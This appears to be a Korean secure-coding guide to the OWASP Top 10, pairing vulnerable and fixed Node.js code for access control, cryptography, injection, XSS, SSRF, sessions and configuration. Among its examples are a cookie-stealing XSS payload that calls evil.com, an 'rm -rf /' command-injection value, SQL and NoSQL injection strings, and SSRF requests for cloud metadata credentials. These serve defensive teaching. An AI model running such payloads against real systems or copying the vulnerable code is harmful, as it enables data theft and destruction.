웹 보안 OWASP Top 10 완전 가이드 2025: 개발자가 반드시 막아야 할 10대 취약점

# 공격자가 URL의 ID를 변경하여 다른 사용자 정보 조회
GET /api/users/12345/profile → 자신의 프로필
GET /api/users/12346/profile → 다른 사용자의 프로필 (권한 없이 접근!)

// 취약한 코드 - 권한 확인 없이 직접 조회
app.get('/api/users/:id/profile', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user); // 누구든 ID만 알면 접근 가능!
});

// 취약한 코드 - 역할만 확인하고 리소스 소유권 미확인
app.delete('/api/posts/:id', requireRole('user'), async (req, res) => {
  await Post.findByIdAndDelete(req.params.id); // 다른 사용자의 글도 삭제 가능!
  res.json({ message: 'Deleted' });
});

// 안전한 코드 - 리소스 소유권 확인
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
  // 자신의 프로필이거나 관리자인 경우에만 허용
  if (req.params.id !== req.user.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await User.findById(req.params.id);
  res.json(user);
});

// 안전한 코드 - 리소스 소유권 + 역할 확인
app.delete('/api/posts/:id', authenticate, async (req, res) => {
  const post = await Post.findById(req.params.id);
  if (!post) return res.status(404).json({ error: 'Not found' });

  if (post.authorId !== req.user.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  await post.deleteOne();
  res.json({ message: 'Deleted' });
});

# 시나리오 1: HTTP를 통한 비밀번호 전송
POST http://example.com/login  (HTTPS가 아닌 HTTP!)
Body: username=admin&password=secret123

# 시나리오 2: 취약한 해시 알고리즘
비밀번호를 MD5로 저장 → 레인보우 테이블 공격으로 즉시 복호화

// 취약: MD5로 비밀번호 해시
const crypto = require('crypto');
const hashedPassword = crypto.createHash('md5').update(password).digest('hex');

// 취약: 하드코딩된 암호화 키
const SECRET_KEY = 'my-super-secret-key-123';
const encrypted = encrypt(data, SECRET_KEY);

// 취약: 약한 TLS 버전 허용
const server = https.createServer({
  secureProtocol: 'TLSv1_method', // TLS 1.0은 취약!
});

const bcrypt = require('bcrypt');

// 안전: bcrypt로 비밀번호 해시 (솔트 자동 생성)
const SALT_ROUNDS = 12;
const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
const isMatch = await bcrypt.compare(inputPassword, hashedPassword);

// 안전: 환경변수에서 키 로드 + AES-256-GCM 사용
const crypto = require('crypto');
const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');

function encrypt(plaintext) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);
  const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
  const tag = cipher.getAuthTag();
  return { iv: iv.toString('hex'), encrypted: encrypted.toString('hex'), tag: tag.toString('hex') };
}

// 안전: TLS 1.2 이상만 허용
const server = https.createServer({
  minVersion: 'TLSv1.2',
  ciphers: 'TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256',
});

-- 정상 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

-- 공격 입력: username = ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- 결과: 모든 사용자 정보가 반환됨!

// ===== SQL Injection =====

// 취약: 문자열 연결로 쿼리 생성
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);

// 안전: 파라미터화된 쿼리 (Prepared Statement)
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, hashedPassword]);

// 안전: ORM 사용 (Sequelize 예시)
const user = await User.findOne({
  where: { username, password: hashedPassword },
});

// ===== NoSQL Injection =====

// 취약: MongoDB - 사용자 입력을 직접 쿼리에 사용
app.post('/login', async (req, res) => {
  // 공격: { "username": {"$gt": ""}, "password": {"$gt": ""} }
  const user = await User.findOne(req.body);
});

// 안전: 타입 검증 + mongo-sanitize
const sanitize = require('mongo-sanitize');
app.post('/login', async (req, res) => {
  const username = sanitize(req.body.username);
  if (typeof username !== 'string') return res.status(400).send('Invalid input');
  const user = await User.findOne({ username, password: hashedPassword });
});

// ===== OS Command Injection =====

// 취약: 사용자 입력을 쉘 명령어에 직접 사용
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// 공격: userInput = "8.8.8.8; rm -rf /"

// 안전: execFile 사용 (쉘 해석 없음)
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput], callback);

// ===== Stored XSS =====

// 취약: 사용자 입력을 그대로 HTML에 삽입
app.get('/comments', async (req, res) => {
  const comments = await Comment.find();
  let html = '';
  comments.forEach(c => {
    html += `<div>${c.text}</div>`; // XSS 취약!
  });
  res.send(html);
});
// 공격 입력: <script>document.location='http://evil.com/?cookie='+document.cookie</script>

// 안전: 출력 인코딩
const he = require('he');
comments.forEach(c => {
  html += `<div>${he.encode(c.text)}</div>`;
});

// React는 기본적으로 XSS 방지 (JSX가 자동 이스케이프)
function Comment({ text }) {
  return <div>{text}</div>; // 자동으로 HTML 이스케이프됨
}

// 주의: dangerouslySetInnerHTML은 XSS 취약!
// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // 사용 금지!

시나리오: 비밀번호 재설정 질문 기반 인증
- "어머니의 성함은?" → SNS에서 쉽게 수집 가능
- 설계 결함: 비밀번호 재설정에 보안 질문만 사용

시나리오: 무제한 파일 업로드
- 파일 크기/타입 제한 없음 → 서버 디스크 고갈 또는 악성 파일 실행
- 설계 결함: 리소스 제한이 아키텍처에 미포함

// 원칙 1: Rate Limiting (요청 제한)
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15분
  max: 5, // 최대 5회 시도
  message: 'Too many login attempts. Please try again after 15 minutes.',
  standardHeaders: true,
});
app.post('/login', loginLimiter, loginHandler);

// 원칙 2: Business Logic Validation
// 쿠폰 사용 시 중복 사용 방지를 설계 단계에서 고려
async function applyCoupon(userId, couponCode) {
  const coupon = await Coupon.findOne({ code: couponCode });
  if (!coupon || coupon.usedBy.includes(userId)) {
    throw new Error('Invalid or already used coupon');
  }
  // 원자적 업데이트로 레이스 컨디션 방지
  const result = await Coupon.findOneAndUpdate(
    { code: couponCode, usedBy: { $ne: userId } },
    { $push: { usedBy: userId } },
    { new: true }
  );
  if (!result) throw new Error('Coupon already used');
  return result;
}

// 원칙 3: 위협 모델링 (Threat Modeling)
// STRIDE 모델: Spoofing, Tampering, Repudiation,
//              Information Disclosure, Denial of Service,
//              Elevation of Privilege

// ===== Express.js 보안 설정 =====

// 취약: 기본 설정 사용
const app = express();
app.use(express.json());
// X-Powered-By 헤더가 "Express"를 노출 → 공격자에게 정보 제공

// 안전: Helmet 미들웨어 + 보안 강화
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 여러 보안 헤더 자동 설정
app.disable('x-powered-by');

// 안전: 에러 메시지 정보 노출 방지
app.use((err, req, res, next) => {
  console.error(err.stack); // 서버 로그에만 기록
  res.status(500).json({
    error: 'Internal Server Error', // 일반적인 메시지만 반환
    // message: err.message  // 절대 노출하지 않음!
    // stack: err.stack      // 절대 노출하지 않음!
  });
});

# ===== Docker 보안 설정 =====

# 취약: root 사용자로 실행
FROM node:20
COPY . .
CMD ["node", "server.js"]

# 안전: non-root 사용자 사용
FROM node:20-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "server.js"]

# ===== AWS S3 보안 설정 =====

# 취약: 퍼블릭 접근 허용된 S3 버킷
# BucketPolicy에 Principal: "*" 설정

# 안전: 퍼블릭 접근 차단
Resources:
  MyBucket:
    Type: AWS::S3::Bucket
    Properties:
      PublicAccessBlockConfiguration:
        BlockPublicAcls: true
        BlockPublicPolicy: true
        IgnorePublicAcls: true
        RestrictPublicBuckets: true
      BucketEncryption:
        ServerSideEncryptionConfiguration:
          - ServerSideEncryptionByDefault:
              SSEAlgorithm: AES256

# npm 의존성 취약점 감사
npm audit
npm audit fix

# Snyk으로 취약점 스캔
npx snyk test
npx snyk monitor  # 지속적 모니터링

# GitHub Dependabot 설정 (.github/dependabot.yml)

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    reviewers:
      - "security-team"

// package.json - 버전 고정 전략
{
  "dependencies": {
    "express": "4.18.2",      // 정확한 버전 고정
    "lodash": "^4.17.21"      // 마이너/패치 업데이트 허용
  },
  "overrides": {
    // 간접 의존성의 취약한 버전 강제 업데이트
    "nth-check": ">=2.0.1"
  }
}

// ===== 취약한 세션 관리 =====

// 취약: 순차적 세션 ID
let sessionCounter = 0;
function createSession() {
  return (++sessionCounter).toString(); // 예측 가능!
}

// 안전: 암호학적으로 안전한 랜덤 세션 ID
const crypto = require('crypto');
function createSession() {
  return crypto.randomBytes(32).toString('hex'); // 256비트 랜덤
}

// ===== 취약한 JWT 구현 =====

// 취약: algorithm none 허용
const payload = jwt.verify(token, secret); // algorithm 검증 안 함!

// 안전: 명시적 알고리즘 지정
const payload = jwt.verify(token, secret, {
  algorithms: ['HS256'], // 허용할 알고리즘 명시
  issuer: 'my-app',
  audience: 'my-api',
});

// ===== 비밀번호 정책 =====

// 안전: 강력한 비밀번호 검증
function validatePassword(password) {
  const minLength = 12;
  const hasUpperCase = /[A-Z]/.test(password);
  const hasLowerCase = /[a-z]/.test(password);
  const hasNumbers = /\d/.test(password);
  const hasSpecialChar = /[!@#$%^&*(),.?":{}|<>]/.test(password);
  const isNotCommon = !commonPasswords.includes(password);

  return (
    password.length >= minLength &&
    hasUpperCase && hasLowerCase &&
    hasNumbers && hasSpecialChar && isNotCommon
  );
}

// TOTP (Time-based One-Time Password) 구현
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// MFA 설정
async function setupMFA(userId) {
  const secret = speakeasy.generateSecret({
    name: `MyApp:user-${userId}`,
    issuer: 'MyApp',
  });
  // QR 코드 생성
  const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
  // 시크릿을 DB에 저장 (암호화하여)
  await User.updateOne({ _id: userId }, { mfaSecret: encrypt(secret.base32) });
  return { qrCodeUrl, backupCodes: generateBackupCodes() };
}

// MFA 검증
function verifyMFA(token, userSecret) {
  return speakeasy.totp.verify({
    secret: userSecret,
    encoding: 'base32',
    token: token,
    window: 1, // 30초 앞뒤 허용
  });
}

// ===== 안전하지 않은 역직렬화 =====

// 취약: 사용자 입력을 직접 역직렬화
app.post('/api/data', (req, res) => {
  const data = JSON.parse(req.body.serializedData);
  // Prototype Pollution 가능!
  processData(data);
});

// 안전: 스키마 검증 후 역직렬화
const Joi = require('joi');
const schema = Joi.object({
  name: Joi.string().max(100).required(),
  age: Joi.number().integer().min(0).max(150),
  email: Joi.string().email(),
});

app.post('/api/data', (req, res) => {
  const { error, value } = schema.validate(req.body);
  if (error) return res.status(400).json({ error: error.details });
  processData(value); // 검증된 데이터만 처리
});

# ===== CI/CD 파이프라인 무결성 =====

# GitHub Actions에서 의존성 해시 고정
- uses: actions/checkout@v4   # 태그 고정
  # 더 안전: SHA 해시 고정
  # uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

const winston = require('winston');

// 보안 이벤트 전용 로거
const securityLogger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  defaultMeta: { service: 'security' },
  transports: [
    new winston.transports.File({ filename: 'security.log' }),
    // 프로덕션에서는 SIEM으로 전송
  ],
});

// 로그인 시도 기록
function logAuthEvent(event) {
  securityLogger.info('Authentication event', {
    type: event.type,         // 'login_success', 'login_failure', 'logout'
    userId: event.userId,
    ip: event.ip,
    userAgent: event.userAgent,
    timestamp: new Date().toISOString(),
    // 주의: 비밀번호는 절대 로깅하지 않음!
  });
}

// 중요 작업 감사 로그
function logAuditEvent(action, userId, resource, details) {
  securityLogger.info('Audit event', {
    action,      // 'create', 'update', 'delete', 'export'
    userId,
    resource,    // 'user', 'payment', 'admin_settings'
    details,
    timestamp: new Date().toISOString(),
  });
}

# 정상 요청: 외부 이미지 미리보기
POST /api/fetch-url
Body: { "url": "https://example.com/image.png" }

# SSRF 공격: 내부 메타데이터 서비스 접근
POST /api/fetch-url
Body: { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
# AWS 인스턴스의 IAM 크레덴셜 탈취!

# SSRF 공격: 내부 서비스 접근
POST /api/fetch-url
Body: { "url": "http://internal-admin.local:8080/admin/delete-all" }

const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

// 취약: 사용자 입력 URL로 직접 요청
app.post('/api/fetch-url', async (req, res) => {
  const response = await axios.get(req.body.url); // 위험!
  res.json(response.data);
});

// 안전: URL 검증 + IP 차단
async function isUrlSafe(urlString) {
  const parsed = new URL(urlString);

  // HTTPS만 허용
  if (parsed.protocol !== 'https:') return false;

  // 내부 호스트명 차단
  const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', 'metadata.google.internal'];
  if (blockedHosts.includes(parsed.hostname)) return false;

  // DNS 확인 후 내부 IP 차단
  const addresses = await dns.resolve4(parsed.hostname);
  for (const addr of addresses) {
    const ip = ipaddr.parse(addr);
    if (ip.range() !== 'unicast') return false; // 사설 IP, 루프백 등 차단
  }
  return true;
}

app.post('/api/fetch-url', async (req, res) => {
  if (!await isUrlSafe(req.body.url)) {
    return res.status(403).json({ error: 'URL not allowed' });
  }
  const response = await axios.get(req.body.url, {
    timeout: 5000,
    maxRedirects: 0,  // 리다이렉트 차단 (SSRF 우회 방지)
  });
  res.json(response.data);
});

// CSRF 방어: csurf 미들웨어
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // CSRF 토큰 자동 검증
  processTransfer(req.body);
});

// SameSite 쿠키로 CSRF 방어
res.cookie('session', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict', // 또는 'Lax'
  maxAge: 3600000,
});

const cors = require('cors');

// 취약: 모든 오리진 허용
app.use(cors()); // origin: '*'

// 안전: 특정 오리진만 허용
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  credentials: true,
  maxAge: 86400, // preflight 캐시 24시간
}));

// Content Security Policy 설정
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-abc123'"], // 인라인 스크립트는 nonce 필수
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.myapp.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    objectSrc: ["'none'"],
    mediaSrc: ["'none'"],
    frameSrc: ["'none'"],
  },
}));

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

// 분산 환경을 위한 Redis 기반 Rate Limiting
const limiter = rateLimit({
  store: new RedisStore({
    sendCommand: (...args) => redisClient.call(...args),
  }),
  windowMs: 15 * 60 * 1000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: 'Too many requests, please try again later.' },
  keyGenerator: (req) => req.ip, // IP 기반 제한
});

// API 엔드포인트별 다른 제한
const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 30 });

app.use('/api/auth', authLimiter);
app.use('/api/', apiLimiter);

// 모든 보안 헤더를 한 번에 설정
app.use((req, res, next) => {
  // XSS 방어
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-XSS-Protection', '0'); // 최신 브라우저는 CSP 사용

  // Clickjacking 방어
  res.setHeader('X-Frame-Options', 'DENY');

  // HTTPS 강제
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');

  // Referrer 정보 제한
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // 브라우저 기능 제한
  res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');

  // CSP
  res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");

  next();
});

# GitHub Actions에 보안 스캔 통합
name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

      - name: Run Semgrep
        uses: semgrep/semgrep-action@v1
        with:
          config: p/owasp-top-ten

      - name: Run Trivy
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          severity: 'CRITICAL,HIGH'